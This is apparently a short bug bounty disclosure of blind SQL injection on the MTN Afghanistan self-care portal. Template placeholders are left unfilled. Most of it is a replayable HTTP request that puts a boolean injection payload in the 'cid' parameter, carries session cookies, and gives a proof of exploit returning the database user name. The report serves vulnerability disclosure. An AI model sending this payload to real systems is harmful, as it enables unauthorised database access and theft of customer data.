blind sql on [selfcare.mtn.com.af]

## Summary: [add summary of the vulnerability] ## Steps To Reproduce: [add details for how we can reproduce the issue] get cid = sql SQL query - SELECT user FROM dual CON_APP_MTNA HTTP Request `GET /selfcare/HomePageDisplay?cid=26%20AND%203*2*1=6%20AND%20498=498&location=MTNA HTTP/1.1 X-Requested-With: XMLHttpRequest Referer: https://selfcare.mtn.com.af:8083/selfcare/appmanager/selfcare/login Cookie: JSESSIONID=QZyyfPfpfWGsWJZP9fXGGPxJQpnpP5Lz9BgDvTr5HpZkkQGqvLL2!1814712056;TrackedProfileId=YW5vbnltb3VzXzkzNDEyOEtYK04zb2V3SDlkcmFRdCtHNWwydVE9PQ== Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Host: selfcare.mtn.com.af:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Connection: Keep-alive` ## Impact sql Proof of Exploit SQL query - SELECT user FROM dual CON_APP_MTNA